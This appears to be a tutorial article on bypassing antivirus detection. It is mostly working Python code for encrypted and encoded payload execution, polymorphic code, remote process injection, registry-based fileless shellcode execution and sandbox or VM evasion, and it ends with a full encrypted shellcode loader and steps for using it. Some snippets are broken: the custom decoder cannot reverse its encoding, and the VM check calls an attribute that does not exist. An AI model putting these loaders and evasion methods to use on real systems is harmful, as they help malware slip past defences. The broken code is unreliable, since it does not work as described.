Bypassing Anti Virus Detection
Anti-virus (AV) software is a critical component of modern computer security. However, there are legitimate reasons why developers, security researchers, and penetration testers might need to bypass AV detection. This article explores various techniques for evading AV detection, with a focus on modern code examples and practical use cases.
1. Advanced Encoding and Obfuscation
Modern AV bypass techniques often involve sophisticated encoding and obfuscation methods. Here are some advanced examples:
AES Encryption with Hardware Acceleration
Using AES encryption with hardware acceleration can provide strong obfuscation while maintaining performance:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
import base64
def encrypt_aes(plaintext, key):
cipher = AES.new(key, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(plaintext.encode(), AES.block_size))
iv = base64.b64encode(cipher.iv).decode('utf-8')
ct = base64.b64encode(ct_bytes).decode('utf-8')
return iv, ct
key = get_random_bytes(32) # 256-bit key
plaintext = 'print("This is a potentially malicious payload")'
iv, ciphertext = encrypt_aes(plaintext, key)
print(f"IV: {iv}")
print(f"Ciphertext: {ciphertext}")
To decrypt and execute:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
def decrypt_aes(iv, ciphertext, key):
iv = base64.b64decode(iv)
ct = base64.b64decode(ciphertext)
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
return pt.decode('utf-8')
# Use the key, IV, and ciphertext from the encryption step
decrypted_payload = decrypt_aes(iv, ciphertext, key)
exec(decrypted_payload)
Customized Encoding Scheme
Creating a custom encoding scheme can be effective against signature-based detection:
import random
def custom_encode(data):
encoded = []
for char in data:
encoded.append(ord(char) + random.randint(1, 10))
return ','.join(map(str, encoded))
payload = 'print("Custom encoded payload")'
encoded_payload = custom_encode(payload)
print(f"Encoded: {encoded_payload}")
Decoding and execution:
def custom_decode(encoded_data):
decoded = ''
for num in encoded_data.split(','):
decoded += chr(int(num) - random.randint(1, 10))
return decoded
decoded_payload = custom_decode(encoded_payload)
exec(decoded_payload)
2. Advanced Polymorphic Code
Modern polymorphic techniques often involve more complex transformations:
import random
import string
def generate_function_name():
return ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
def generate_polymorphic_code():
func_name = generate_function_name()
operations = ['+', '-', '*']
op = random.choice(operations)
num1 = random.randint(1, 100)
num2 = random.randint(1, 100)
code = f"""
def {func_name}(x, y):
return x {op} y
result = {func_name}({num1}, {num2})
print(f"The result is: {{result}}")
"""
return code
print(generate_polymorphic_code())
3. Advanced Process Injection
Modern process injection techniques often target specific processes and use more sophisticated methods:
import ctypes
import ctypes.wintypes as wintypes
# Windows API constants and structures
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x40
# Windows API function prototypes
kernel32 = ctypes.windll.kernel32
VirtualAllocEx = kernel32.VirtualAllocEx
WriteProcessMemory = kernel32.WriteProcessMemory
CreateRemoteThread = kernel32.CreateRemoteThread
CloseHandle = kernel32.CloseHandle
def inject_code(pid, shellcode):
# Open the target process
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
if not h_process:
raise ctypes.WinError()
# Allocate memory in the target process
addr = VirtualAllocEx(h_process, 0, len(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if not addr:
CloseHandle(h_process)
raise ctypes.WinError()
# Write shellcode to the allocated memory
bytes_written = ctypes.c_size_t(0)
if not WriteProcessMemory(h_process, addr, shellcode, len(shellcode), ctypes.byref(bytes_written)):
CloseHandle(h_process)
raise ctypes.WinError()
# Create a remote thread to execute the shellcode
thread_id = wintypes.DWORD(0)
if not CreateRemoteThread(h_process, None, 0, addr, None, 0, ctypes.byref(thread_id)):
CloseHandle(h_process)
raise ctypes.WinError()
CloseHandle(h_process)
return thread_id.value
# Example usage (replace with actual shellcode and process ID)
shellcode = b"\x90\x90\x90\x90" # Replace with actual shellcode
target_pid = 1234 # Replace with actual process ID
try:
thread_id = inject_code(target_pid, shellcode)
print(f"Code injected successfully. Remote thread ID: {thread_id}")
except WindowsError as e:
print(f"Injection failed: {e}")
4. Advanced Fileless Malware
Modern fileless techniques often use legitimate system processes and APIs:
import winreg
import os
import base64
import ctypes
def create_registry_key(key_path, name, data):
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_path)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, name, 0, winreg.REG_SZ, data)
winreg.CloseKey(registry_key)
return True
except WindowsError:
return False
def execute_from_registry(key_path, name):
try:
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_READ)
data, regtype = winreg.QueryValueEx(registry_key, name)
winreg.CloseKey(registry_key)
# Decode and execute the payload
decoded_data = base64.b64decode(data)
buffer = ctypes.create_string_buffer(decoded_data)
function = ctypes.cast(buffer, ctypes.CFUNCTYPE(None))
function()
return True
except WindowsError:
return False
# Example usage
key_path = r"Software\MyCustomKey"
key_name = "Payload"
# Payload (replace with actual payload)
payload = base64.b64encode(b"\x90\x90\x90\x90").decode()
if create_registry_key(key_path, key_name, payload):
print("Payload stored in registry")
if execute_from_registry(key_path, key_name):
print("Payload executed successfully")
else:
print("Failed to execute payload")
else:
print("Failed to store payload in registry")
5. Advanced Sandbox Evasion
Modern sandbox evasion techniques often involve checking for specific artifacts and behaviors:
import ctypes
import socket
import time
import psutil
def check_debugger():
return ctypes.windll.kernel32.IsDebuggerPresent() != 0
def check_vm():
return "VirtualBox" in psutil.virtual_memory().manufacturer or "VMware" in psutil.virtual_memory().manufacturer
def check_network():
try:
socket.setdefaulttimeout(1)
socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect(("www.google.com", 80))
return True
except socket.error:
return False
def check_time_acceleration():
start_time = time.time()
time.sleep(10)
end_time = time.time()
return (end_time - start_time) < 9.5
def is_sandbox():
return check_debugger() or check_vm() or not check_network() or check_time_acceleration()
if not is_sandbox():
print("Executing payload...")
# Add your payload here
else:
print("Sandbox detected. Exiting...")
Real-Life Example: Bypassing AV with Encrypted Shellcode Loader
Here’s a more complex, real-world example of a shellcode loader that uses encryption and process injection to bypass AV detection:
import ctypes
import ctypes.wintypes as wintypes
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
# Windows API constants and structures
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x40
# Windows API function prototypes
kernel32 = ctypes.windll.kernel32
VirtualAllocEx = kernel32.VirtualAllocEx
WriteProcessMemory = kernel32.WriteProcessMemory
CreateRemoteThread = kernel32.CreateRemoteThread
CloseHandle = kernel32.CloseHandle
def decrypt_aes(key, iv, ciphertext):
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
return plaintext
def inject_shellcode(pid, shellcode):
# Open the target process
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
if not h_process:
raise ctypes.WinError()
# Allocate memory in the target process
addr = VirtualAllocEx(h_process, 0, len(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if not addr:
CloseHandle(h_process)
raise ctypes.WinError()
# Write shellcode to the allocated memory
bytes_written = ctypes.c_size_t(0)
if not WriteProcessMemory(h_process, addr, shellcode, len(shellcode), ctypes.byref(bytes_written)):
CloseHandle(h_process)
raise ctypes.WinError()
# Create a remote thread to execute the shellcode
thread_id = wintypes.DWORD(0)
if not CreateRemoteThread(h_process, None, 0, addr, None, 0, ctypes.byref(thread_id)):
CloseHandle(h_process)
raise ctypes.WinError()
CloseHandle(h_process)
return thread_id.value
# Encrypted shellcode (replace with your own)
encrypted_shellcode = "YOUR_ENCRYPTED_SHELLCODE_HERE"
iv = b"YOUR_IV_HERE"
key = b"YOUR_32_BYTE_KEY_HERE"
# Decrypt the shellcode
shellcode = decrypt_aes(key, iv, base64.b64decode(encrypted_shellcode))
# Target process ID (replace with actual PID)
target_pid = 1234
try:
thread_id = inject_shellcode(target_pid, shellcode)
print(f"Shellcode injected successfully. Remote thread ID: {thread_id}")
except WindowsError as e:
print(f"Injection failed: {e}")
This example demonstrates several advanced techniques:
- AES encryption to obfuscate the shellcode
- Process injection to execute the shellcode in a legitimate process
- Use of Windows API for memory allocation and thread creation
To use this code:
- Replace
YOUR_ENCRYPTED_SHELLCODE_HERE
,YOUR_IV_HERE
, andYOUR_32_BYTE_KEY_HERE
with your actual encrypted shellcode, IV, and key. - Replace
target_pid
with the process ID of the target process. - Ensure you have the necessary permissions to inject into the target process.
Conclusion
Bypassing anti-virus detection is a complex and ever-evolving field. The techniques presented here represent some of the more advanced methods used by security professionals and malware authors alike. It’s crucial to remember that these techniques should only be used for legitimate purposes, such as security research and authorized penetration testing.
Here’s an overview of the modern AV bypass process:
graph TD A[Malicious Payload] --> B{Advanced Encryption} B --> C{Polymorphic Code Generation} C --> D{Process Selection} D --> E{Memory Injection} E --> F{Execution Obfuscation} F --> G{Sandbox/VM Detection} G --> H{AV Evasion Techniques} H --> I{Execution} I --> J{Post-Execution Cleanup} J --> K{Persistence Mechanism} K --> L{C2 Communication}
Remember, the techniques described here are constantly evolving, and what works today may not work tomorrow. Always stay updated on the latest security research and AV evasion techniques.
For more detailed information on advanced AV evasion techniques, refer to the following research papers: